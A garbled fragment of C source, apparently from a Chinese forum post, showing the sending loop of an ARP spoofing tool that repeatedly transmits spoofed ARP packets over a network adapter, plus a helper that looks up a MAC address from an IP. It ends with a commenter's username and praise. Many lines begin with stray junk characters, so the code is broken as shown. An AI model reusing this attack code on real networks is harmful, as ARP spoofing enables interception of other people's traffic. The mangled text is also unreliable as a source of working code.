  //send arp packet
  while(1)
  {
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
( s6 v! e. B9 ^1 O# y/ C    {
" U; {7 O! J- T9 `      printf("Error sending the arp spoof packets!\n");
      return 0;
    }
    Sleep(1000);
# [; C9 [: y: q3 I5 Q3 ]  }
+ F2 [2 A7 {) t4 `) c6 C  return 0;
4 N' Q" Y; U8 X; ~" \' \}
* t) P8 R- W& M( x
//
& d1 }! I& b! ~//功能：输入IP取得对应的MAC地址
//
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
1 {6 b* Y6 q! P/ }' p{
  DWORD  dwRet;
% ]4 y& N9 I# C$ M0 a  ULONG  ulLen = 6, pulMac[2];
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
8 [$ S8 G4 [5 v& t3 @+ n  if(dwRet == NO_ERROR)
. j. }2 N9 K6 A  {
    memcpy(pMAC, pulMac, 6);
    return TRUE;
  }
  else return FALSE;
}

wy617958197

大侠好厉害啊